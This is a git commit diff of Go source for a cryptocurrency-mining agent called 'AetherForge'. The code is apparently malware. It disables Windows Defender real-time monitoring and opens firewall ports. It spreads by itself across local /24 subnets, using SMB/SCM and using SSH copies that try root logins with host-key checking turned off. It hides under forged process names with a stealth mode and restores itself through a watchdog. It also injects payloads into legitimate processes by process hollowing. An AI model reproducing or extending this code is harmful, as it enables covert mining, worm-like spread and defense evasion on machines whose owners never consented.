Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
13
agent/deploy/aggressive_stub.go
Normal file
13
agent/deploy/aggressive_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
return "", fmt.Errorf("defender control is Windows-only")
|
||||
}
|
||||
|
||||
func OpenFirewallPort(_ int, _ string) (string, error) {
|
||||
return "", fmt.Errorf("firewall port open is Windows-only")
|
||||
}
|
||||
41
agent/deploy/aggressive_windows.go
Normal file
41
agent/deploy/aggressive_windows.go
Normal file
@@ -0,0 +1,41 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
|
||||
}
|
||||
|
||||
// OpenFirewallPort adds an inbound TCP allow rule for port.
|
||||
func OpenFirewallPort(port int, name string) (string, error) {
|
||||
if port <= 0 || port > 65535 {
|
||||
return "", fmt.Errorf("invalid port %d", port)
|
||||
}
|
||||
if name == "" {
|
||||
name = "AetherForge Remote"
|
||||
}
|
||||
script := fmt.Sprintf(`
|
||||
$name = '%s'
|
||||
$port = %d
|
||||
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
|
||||
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
||||
}
|
||||
`, strings.ReplaceAll(name, `'`, `''`), port)
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return string(out), err
|
||||
}
|
||||
return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
@@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
log.Printf("[autospread] Lateral movement module initialized and active")
|
||||
}
|
||||
|
||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadToLocalSubnet(cfg)
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
||||
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
@@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
// Sweep the /24 subnet
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue // Skip self
|
||||
continue
|
||||
}
|
||||
go attemptSpread(cfg, target)
|
||||
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }() // release slot when done
|
||||
attemptSpread(cfg, t)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
128
agent/deploy/autospread_unix.go
Normal file
128
agent/deploy/autospread_unix.go
Normal file
@@ -0,0 +1,128 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
||||
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
if !cfg.AutoSpread {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
time.Sleep(10 * time.Minute)
|
||||
ticker := time.NewTicker(4 * time.Hour)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
spreadUnixSubnet(cfg)
|
||||
<-ticker.C
|
||||
}
|
||||
}()
|
||||
log.Printf("[autospread] Unix SSH spread module active")
|
||||
}
|
||||
|
||||
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadUnixSubnet(cfg)
|
||||
return "unix lateral spread sweep started (SSH :22)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSSHSpread(cfg, t, exePath)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
||||
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
||||
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
user := os.Getenv("USER")
|
||||
if user == "" {
|
||||
user = "ubuntu"
|
||||
}
|
||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalIPs() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ips
|
||||
}
|
||||
for _, i := range ifaces {
|
||||
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, a := range addrs {
|
||||
if ipnet, ok := a.(*net.IPNet); ok {
|
||||
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
||||
ips = append(ips, ip4.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ips
|
||||
}
|
||||
|
||||
func getSubnet(ip string) string {
|
||||
parts := strings.Split(ip, ".")
|
||||
if len(parts) != 4 {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
||||
}
|
||||
195
agent/deploy/common.go
Normal file
195
agent/deploy/common.go
Normal file
@@ -0,0 +1,195 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
runFlag = "--run"
|
||||
spreadFlag = "--spread-install"
|
||||
backupSuffix = ".bak"
|
||||
)
|
||||
|
||||
// BinaryExt returns the executable suffix for the current OS.
|
||||
func BinaryExt() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return ".exe"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// BinaryName returns the forged process filename on disk.
|
||||
func BinaryName(cfg config.RuntimeConfig) string {
|
||||
return cfg.EffectiveProcessName() + BinaryExt()
|
||||
}
|
||||
|
||||
// InstalledBinaryPath is the full path to the installed worker binary.
|
||||
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, BinaryName(cfg)), nil
|
||||
}
|
||||
|
||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
return replacer.Replace(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
if runtime.GOOS == "windows" {
|
||||
if strings.EqualFold(a, b) {
|
||||
return true
|
||||
}
|
||||
} else if a == b {
|
||||
return true
|
||||
}
|
||||
aAbs, errA := filepath.Abs(a)
|
||||
bAbs, errB := filepath.Abs(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
return strings.EqualFold(aAbs, bAbs)
|
||||
}
|
||||
return aAbs == bAbs
|
||||
}
|
||||
|
||||
func copyFile(src, dest string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
applyDetachedStart(cmd)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
fallbacks := installBaseFallbacks(cfg)
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return []string{"localappdata", "appdata", "temp"}
|
||||
case "darwin":
|
||||
return []string{"home", "xdg_data_home", "tmp"}
|
||||
default:
|
||||
return []string{"xdg_data_home", "home", "tmp"}
|
||||
}
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
base := "localappdata"
|
||||
if runtime.GOOS != "windows" {
|
||||
base = "xdg_data_home"
|
||||
}
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: base,
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func saveBackup(installedBin string) error {
|
||||
backup := installedBin + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedBin, backup)
|
||||
}
|
||||
|
||||
// WantsSpreadInstall reports --spread-install CLI flag.
|
||||
func WantsSpreadInstall() bool {
|
||||
return wantsSpreadInstall()
|
||||
}
|
||||
|
||||
func wantsSpreadInstall() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == spreadFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isRunMode() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
|
||||
if cfg.StealthMode {
|
||||
return
|
||||
}
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
|
||||
)), 0644)
|
||||
}
|
||||
18
agent/deploy/firewall_darwin.go
Normal file
18
agent/deploy/firewall_darwin.go
Normal file
@@ -0,0 +1,18 @@
|
||||
//go:build darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
log.Printf("[firewall] macOS app firewall is coarse; worker path registered: %s", binPath)
|
||||
_ = cfg
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
36
agent/deploy/firewall_linux.go
Normal file
36
agent/deploy/firewall_linux.go
Normal file
@@ -0,0 +1,36 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
if strings.TrimSpace(binPath) == "" {
|
||||
return
|
||||
}
|
||||
port := 8989
|
||||
script := fmt.Sprintf(`
|
||||
if command -v ufw >/dev/null 2>&1; then
|
||||
ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true
|
||||
fi
|
||||
`, port)
|
||||
cmd := exec.Command("/bin/sh", "-c", script)
|
||||
if err := cmd.Run(); err != nil {
|
||||
log.Printf("[firewall] ufw rule failed: %v", err)
|
||||
return
|
||||
}
|
||||
log.Printf("[firewall] linux firewall rule attempted for %s", binPath)
|
||||
_ = strconv.Itoa(port)
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
15
agent/deploy/firewall_platform_windows.go
Normal file
15
agent/deploy/firewall_platform_windows.go
Normal file
@@ -0,0 +1,15 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
EnsureFirewallExclusionWindows(cfg, binPath)
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
RemoveFirewallExclusionWindows(cfg)
|
||||
}
|
||||
14
agent/deploy/firewall_stub.go
Normal file
14
agent/deploy/firewall_stub.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
|
||||
_ = cfg
|
||||
_ = binPath
|
||||
}
|
||||
|
||||
func platformRemoveFirewall(cfg config.RuntimeConfig) {
|
||||
_ = cfg
|
||||
}
|
||||
@@ -13,9 +13,8 @@ import (
|
||||
|
||||
const firewallRulePrefix = "AetherForge"
|
||||
|
||||
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
|
||||
// Requires administrator privileges on many systems; failures are logged and ignored.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
|
||||
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
|
||||
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
@@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
|
||||
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
|
||||
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
||||
ruleBase := firewallRuleBaseName(cfg)
|
||||
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||
|
||||
@@ -9,8 +9,6 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const backupSuffix = ".bak"
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
@@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
backupExe := installedExe + backupSuffix
|
||||
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||
backupBin := installedBin + backupSuffix
|
||||
|
||||
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupExe); statErr == nil {
|
||||
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
||||
if _, err := os.Stat(installedBin); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupBin); statErr == nil {
|
||||
if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
|
||||
return copyErr
|
||||
}
|
||||
log.Printf("[watchdog] restored missing binary from backup")
|
||||
@@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if err := createScheduledTask(cfg, installedExe); err != nil {
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.FirewallExclusion {
|
||||
EnsureFirewallExclusion(cfg, installedExe)
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveBackup(installedExe string) error {
|
||||
backup := installedExe + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedExe, backup)
|
||||
}
|
||||
|
||||
12
agent/deploy/hollow_stub_all.go
Normal file
12
agent/deploy/hollow_stub_all.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
// RunHollowed is only available on Windows with the hollow build tag.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
_ = targetExe
|
||||
_ = payload
|
||||
return fmt.Errorf("process hollowing not available on this platform")
|
||||
}
|
||||
@@ -29,20 +29,92 @@ const (
|
||||
MEM_RESERVE = 0x2000
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
CONTEXT_FULL_AMD64 = 0x10000B
|
||||
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
)
|
||||
|
||||
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
|
||||
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
|
||||
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
|
||||
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
|
||||
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
|
||||
for i := uint32(0); i < uint32(numSections); i++ {
|
||||
sec := payload[sectionsBase+i*40:]
|
||||
vAddr := binary.LittleEndian.Uint32(sec[12:])
|
||||
vSize := binary.LittleEndian.Uint32(sec[8:])
|
||||
rawOff := binary.LittleEndian.Uint32(sec[20:])
|
||||
if rva >= vAddr && rva < vAddr+vSize {
|
||||
return rawOff + (rva - vAddr), nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
|
||||
}
|
||||
|
||||
// applyRelocations patches absolute addresses in the payload copy when the image
|
||||
// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
|
||||
// (type 10) entries are applied; all other types are skipped.
|
||||
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
|
||||
optHeader := payload[eLFANew+24:]
|
||||
// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
|
||||
// DataDirectory array starts at offset 112 in a PE32+ optional header.
|
||||
const dataDirOffset = 112
|
||||
if len(optHeader) < dataDirOffset+5*8+8 {
|
||||
return
|
||||
}
|
||||
relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
|
||||
relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
|
||||
if relocRVA == 0 || relocSize == 0 {
|
||||
return // no relocation table (non-PIE binary baked for a fixed address)
|
||||
}
|
||||
|
||||
blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
end := blockOff + relocSize
|
||||
for blockOff < end && blockOff+8 <= uint32(len(payload)) {
|
||||
pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
|
||||
blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
|
||||
if blkSize < 8 {
|
||||
break
|
||||
}
|
||||
entryCount := (blkSize - 8) / 2
|
||||
for i := uint32(0); i < entryCount; i++ {
|
||||
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
|
||||
relType := entry >> 12
|
||||
relOff := uint32(entry & 0x0FFF)
|
||||
|
||||
if relType == IMAGE_REL_BASED_ABSOLUTE {
|
||||
continue
|
||||
}
|
||||
if relType != IMAGE_REL_BASED_DIR64 {
|
||||
continue
|
||||
}
|
||||
|
||||
patchRVA := pageRVA + relOff
|
||||
patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
|
||||
if err != nil || int(patchOff)+8 > len(payload) {
|
||||
continue
|
||||
}
|
||||
orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
|
||||
binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
|
||||
}
|
||||
blockOff += blkSize
|
||||
}
|
||||
}
|
||||
|
||||
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
// Parse payload PE headers dynamically
|
||||
if len(payload) < 0x40 {
|
||||
return fmt.Errorf("payload too small")
|
||||
}
|
||||
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
|
||||
if int(e_lfanew)+24 > len(payload) {
|
||||
eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
|
||||
if int(eLFANew)+24 > len(payload) {
|
||||
return fmt.Errorf("invalid PE header offset")
|
||||
}
|
||||
|
||||
ntHeader := payload[e_lfanew:]
|
||||
ntHeader := payload[eLFANew:]
|
||||
if string(ntHeader[:4]) != "PE\x00\x00" {
|
||||
return fmt.Errorf("invalid PE signature")
|
||||
}
|
||||
@@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
}
|
||||
|
||||
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
|
||||
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
|
||||
sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
|
||||
optHeader := ntHeader[24:]
|
||||
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
|
||||
return fmt.Errorf("payload must be PE32+")
|
||||
@@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
si.Cb = uint32(unsafe.Sizeof(*si))
|
||||
pi := new(syscall.ProcessInformation)
|
||||
|
||||
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
|
||||
ret, _, err := procCreateProcessW.Call(
|
||||
// 1. Spawn the target process in a suspended state.
|
||||
ret, _, lastErr := procCreateProcessW.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(targetPtr)),
|
||||
0, 0, 0,
|
||||
@@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
uintptr(unsafe.Pointer(pi)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("CreateProcessW failed: %v", err)
|
||||
return fmt.Errorf("CreateProcessW: %v", lastErr)
|
||||
}
|
||||
defer syscall.CloseHandle(pi.Process)
|
||||
defer syscall.CloseHandle(pi.Thread)
|
||||
|
||||
// The following maps the exact structural steps needed for PE injection.
|
||||
// Note: To make this fully functional, you need full PE offset math
|
||||
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
|
||||
|
||||
// 2. Get Thread Context to locate the Process Environment Block (PEB)
|
||||
// Allocate 16-byte aligned context buffer for x64
|
||||
ctxBytes := make([]byte, 1232+16)
|
||||
// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
|
||||
ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
|
||||
var ctxPtr uintptr
|
||||
for i := 0; i < 16; i++ {
|
||||
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
|
||||
@@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
break
|
||||
}
|
||||
}
|
||||
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
|
||||
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
|
||||
|
||||
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("GetThreadContext failed: %v", err)
|
||||
return fmt.Errorf("GetThreadContext: %v", lastErr)
|
||||
}
|
||||
|
||||
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
|
||||
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
|
||||
|
||||
// 3. Read the PEB to find the original ImageBase
|
||||
// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
|
||||
var origImageBase uint64
|
||||
var bytesRW uintptr
|
||||
procReadProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
uintptr(rdx+16), // PEB.ImageBaseAddress
|
||||
uintptr(rdx+16),
|
||||
uintptr(unsafe.Pointer(&origImageBase)),
|
||||
8,
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
|
||||
